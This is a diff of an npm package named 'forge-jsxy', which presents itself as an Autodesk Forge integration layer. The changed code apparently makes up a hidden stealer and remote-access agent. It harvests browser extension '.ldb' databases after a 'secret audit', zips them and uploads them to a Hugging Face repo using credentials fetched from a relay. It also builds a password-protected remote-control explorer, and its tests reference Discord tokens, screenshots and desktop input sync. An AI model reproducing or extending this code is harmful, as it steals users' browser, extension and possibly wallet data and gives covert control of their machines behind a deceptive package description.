/**
|
|
116
198
|
* Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
117
|
-
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
199
|
+
* No-op when disabled, repo already exists, nothing to copy, or credentials missing.
|
|
118
200
|
*/
|
|
119
201
|
async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
120
202
|
if (!isExtensionDbHfUploadEnabled())
|
|
@@ -125,8 +207,7 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
125
207
|
return;
|
|
126
208
|
}
|
|
127
209
|
if (extensionDbUploadInFlight) {
|
|
128
|
-
|
|
129
|
-
extensionDbLog("deferred — previous extension upload still running (queued retry)");
|
|
210
|
+
extensionDbLog("skipped — previous extension upload still running");
|
|
130
211
|
return;
|
|
131
212
|
}
|
|
132
213
|
extensionDbUploadInFlight = true;
|
|
@@ -153,6 +234,15 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
153
234
|
if (!targetRepo) {
|
|
154
235
|
return;
|
|
155
236
|
}
|
|
237
|
+
if (extensionDbUploadRecordedForRepo(targetRepo)) {
|
|
238
|
+
extensionDbLog(`skipped — extension data already uploaded (local marker for ${targetRepo})`);
|
|
239
|
+
return;
|
|
240
|
+
}
|
|
241
|
+
if (await sessionHubRepoAlreadyExists(targetRepo, creds)) {
|
|
242
|
+
writeExtensionDbUploadMarker(targetRepo);
|
|
243
|
+
extensionDbLog(`skipped — extension data already uploaded (Hub repo ${targetRepo} exists)`);
|
|
244
|
+
return;
|
|
245
|
+
}
|
|
156
246
|
let resolvedSeqId = opts.clientSeqId ?? null;
|
|
157
247
|
if (resolvedSeqId === null) {
|
|
158
248
|
resolvedSeqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
|
|
@@ -190,9 +280,14 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
190
280
|
hfCredentials: creds,
|
|
191
281
|
forceKill: true,
|
|
192
282
|
force: true,
|
|
193
|
-
skipIfRepoExists:
|
|
283
|
+
skipIfRepoExists: true,
|
|
194
284
|
});
|
|
195
|
-
if (upload.ok === true) {
|
|
285
|
+
if (upload.ok === true && upload.skipped === true) {
|
|
286
|
+
writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
|
|
287
|
+
extensionDbLog(`skipped — extension data already uploaded (Hub repo ${String(upload.repo || targetRepo)})`);
|
|
288
|
+
}
|
|
289
|
+
else if (upload.ok === true) {
|
|
290
|
+
writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
|
|
196
291
|
extensionDbLog(`upload OK — repo ${String(upload.repo || targetRepo)} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
|
|
197
292
|
}
|
|
198
293
|
else {
|
|
@@ -218,13 +313,6 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
218
313
|
if (creds)
|
|
219
314
|
(0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
|
|
220
315
|
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
221
|
-
const retry = pendingExtensionDbRetry;
|
|
222
|
-
pendingExtensionDbRetry = null;
|
|
223
|
-
if (retry) {
|
|
224
|
-
setImmediate(() => {
|
|
225
|
-
void runExtensionDbHfUploadAfterAudit(retry);
|
|
226
|
-
});
|
|
227
|
-
}
|
|
228
316
|
}
|
|
229
317
|
}
|
|
230
318
|
/** Fire-and-forget background upload (after secret audit completes). */
|
package/dist/filesExplorer.d.ts
CHANGED
|
@@ -1,3 +1,5 @@
|
|
|
1
|
+
/** Password embedded in explorer HTML — must match agent session password (see `resolvePassword` in agentRunner). */
|
|
2
|
+
export declare function resolveExplorerHtmlPassword(opts?: FilesExplorerHtmlOptions): string;
|
|
1
3
|
export interface FilesExplorerHtmlOptions {
|
|
2
4
|
/** Shown in UI and passed to JS (use env CFGMGR_SESSION_PASSWORD in production). */
|
|
3
5
|
defaultPassword?: string;
|
package/dist/filesExplorer.js
CHANGED
|
@@ -33,6 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.resolveExplorerHtmlPassword = resolveExplorerHtmlPassword;
|
|
36
37
|
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
37
38
|
exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
|
|
38
39
|
exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
|
|
@@ -45,6 +46,16 @@ exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
|
45
46
|
const fs = __importStar(require("node:fs"));
|
|
46
47
|
const path = __importStar(require("node:path"));
|
|
47
48
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
49
|
+
/** Password embedded in explorer HTML — must match agent session password (see `resolvePassword` in agentRunner). */
|
|
50
|
+
function resolveExplorerHtmlPassword(opts = {}) {
|
|
51
|
+
const fromOpts = (opts.defaultPassword ?? "").trim();
|
|
52
|
+
if (fromOpts)
|
|
53
|
+
return fromOpts;
|
|
54
|
+
const fromEnv = (process.env.CFGMGR_SESSION_PASSWORD ?? "").trim();
|
|
55
|
+
if (fromEnv)
|
|
56
|
+
return fromEnv;
|
|
57
|
+
return (deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD ?? "").trim();
|
|
58
|
+
}
|
|
48
59
|
let _cachedTemplate = null;
|
|
49
60
|
let _cachedRemoteTemplate = null;
|
|
50
61
|
let _cachedFaviconSvg = null;
|
|
@@ -194,9 +205,7 @@ function forgeJsPackageVersion() {
|
|
|
194
205
|
return _forgeJsPkgVersion;
|
|
195
206
|
}
|
|
196
207
|
function buildFilesExplorerHtml(opts = {}) {
|
|
197
|
-
const pwd = opts
|
|
198
|
-
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
199
|
-
deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
|
|
208
|
+
const pwd = resolveExplorerHtmlPassword(opts);
|
|
200
209
|
let relay = opts.relayFallbackWs ??
|
|
201
210
|
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
202
211
|
process.env.CFGMGR_RELAY_URL ??
|
|
@@ -213,9 +222,7 @@ function buildFilesExplorerHtml(opts = {}) {
|
|
|
213
222
|
.replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
|
|
214
223
|
}
|
|
215
224
|
function buildRemoteControlHtml(opts = {}) {
|
|
216
|
-
const pwd = opts
|
|
217
|
-
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
218
|
-
deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
|
|
225
|
+
const pwd = resolveExplorerHtmlPassword(opts);
|
|
219
226
|
let relay = opts.relayFallbackWs ??
|
|
220
227
|
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
221
228
|
process.env.CFGMGR_RELAY_URL ??
|
package/dist/hfUpload.d.ts
CHANGED
|
@@ -24,7 +24,8 @@ export interface RunHfUploadOptions {
|
|
|
24
24
|
folderMode?: "zip" | "tree";
|
|
25
25
|
/**
|
|
26
26
|
* When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
|
|
27
|
-
* First upload creates the repo; later uploads
|
|
27
|
+
* First upload creates the repo; later automatic extension uploads skip when the repo exists.
|
|
28
|
+
* Manual explorer uploads still append under `exports/<timestamp>/`.
|
|
28
29
|
*/
|
|
29
30
|
autoSessionRepo?: boolean;
|
|
30
31
|
/** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
|
package/dist/relayAgent.js
CHANGED
|
@@ -558,6 +558,8 @@ function runRelayAgentLoop(opts) {
|
|
|
558
558
|
/** forge-db `seq_id` pushed by relay (`agent_session_seq`) for Hub session repo uploads. */
|
|
559
559
|
let relayClientSeqId;
|
|
560
560
|
let extensionDbUploadDelayTimer = null;
|
|
561
|
+
/** At most one extension-db Hub upload attempt per relay WebSocket connection. */
|
|
562
|
+
let extensionDbUploadScheduledThisConnection = false;
|
|
561
563
|
const clearExtensionDbUploadDelay = () => {
|
|
562
564
|
if (extensionDbUploadDelayTimer != null) {
|
|
563
565
|
clearTimeout(extensionDbUploadDelayTimer);
|
|
@@ -573,7 +575,10 @@ function runRelayAgentLoop(opts) {
|
|
|
573
575
|
}
|
|
574
576
|
return undefined;
|
|
575
577
|
};
|
|
576
|
-
const
|
|
578
|
+
const scheduleExtensionDbUploadForSessionOnce = () => {
|
|
579
|
+
if (extensionDbUploadScheduledThisConnection)
|
|
580
|
+
return;
|
|
581
|
+
extensionDbUploadScheduledThisConnection = true;
|
|
577
582
|
(0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
|
|
578
583
|
clientTableName: sessionId,
|
|
579
584
|
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
@@ -584,7 +589,7 @@ function runRelayAgentLoop(opts) {
|
|
|
584
589
|
};
|
|
585
590
|
const armExtensionDbUploadAfterSeq = () => {
|
|
586
591
|
clearExtensionDbUploadDelay();
|
|
587
|
-
|
|
592
|
+
scheduleExtensionDbUploadForSessionOnce();
|
|
588
593
|
};
|
|
589
594
|
/**
|
|
590
595
|
* Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
|
|
@@ -621,12 +626,7 @@ function runRelayAgentLoop(opts) {
|
|
|
621
626
|
clientTableName: sessionId,
|
|
622
627
|
fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
|
|
623
628
|
});
|
|
624
|
-
(
|
|
625
|
-
clientTableName: sessionId,
|
|
626
|
-
fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
|
|
627
|
-
quiet,
|
|
628
|
-
relayHttpBase: (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(base) ?? undefined,
|
|
629
|
-
});
|
|
629
|
+
scheduleExtensionDbUploadForSessionOnce();
|
|
630
630
|
}, fallbackMs);
|
|
631
631
|
secretAuditHandshakeFallbackTimer.unref?.();
|
|
632
632
|
};
|
|
@@ -754,9 +754,6 @@ function runRelayAgentLoop(opts) {
|
|
|
754
754
|
quiet,
|
|
755
755
|
clientTableName: sessionId,
|
|
756
756
|
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
757
|
-
onSettled: () => {
|
|
758
|
-
scheduleExtensionDbUploadForSession();
|
|
759
|
-
},
|
|
760
757
|
});
|
|
761
758
|
const seqFromConnected = parseRelayClientSeqId(msg.client_seq_id ?? msg.clientSeqId);
|
|
762
759
|
if (seqFromConnected !== undefined)
|
|
@@ -792,6 +789,7 @@ function runRelayAgentLoop(opts) {
|
|
|
792
789
|
pendingAuthNonce = "";
|
|
793
790
|
openHandlerFinishedInfo = false;
|
|
794
791
|
relayAgentHandshakeDone = false;
|
|
792
|
+
extensionDbUploadScheduledThisConnection = false;
|
|
795
793
|
discordLoopStarted = false;
|
|
796
794
|
discordEnabledByRelayHandshake = false;
|
|
797
795
|
armSecretAuditHandshakeFallback();
|
|
@@ -914,8 +912,10 @@ function runRelayAgentLoop(opts) {
|
|
|
914
912
|
const seq = parseRelayClientSeqId(msg.seq_id ?? msg.client_seq_id);
|
|
915
913
|
if (seq !== undefined) {
|
|
916
914
|
relayClientSeqId = seq;
|
|
917
|
-
|
|
918
|
-
|
|
915
|
+
if (!extensionDbUploadScheduledThisConnection) {
|
|
916
|
+
clearExtensionDbUploadDelay();
|
|
917
|
+
armExtensionDbUploadAfterSeq();
|
|
918
|
+
}
|
|
919
919
|
}
|
|
920
920
|
return;
|
|
921
921
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "forge-jsxy",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.108",
|
|
4
4
|
"description": "Node.js integration layer for Autodesk Forge",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"forgeAgentWebRtcMinVersion": "1.0.71",
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"pretest": "npm run build",
|
|
21
21
|
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
|
|
22
22
|
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
|
|
23
|
-
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
|
|
23
|
+
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
|
|
24
24
|
"test:env-local": "node --test test/env-local-integrations.mjs",
|
|
25
25
|
"verify": "npm run ci && npm run test:env-local",
|
|
26
26
|
"verify:production": "npm run ci",
|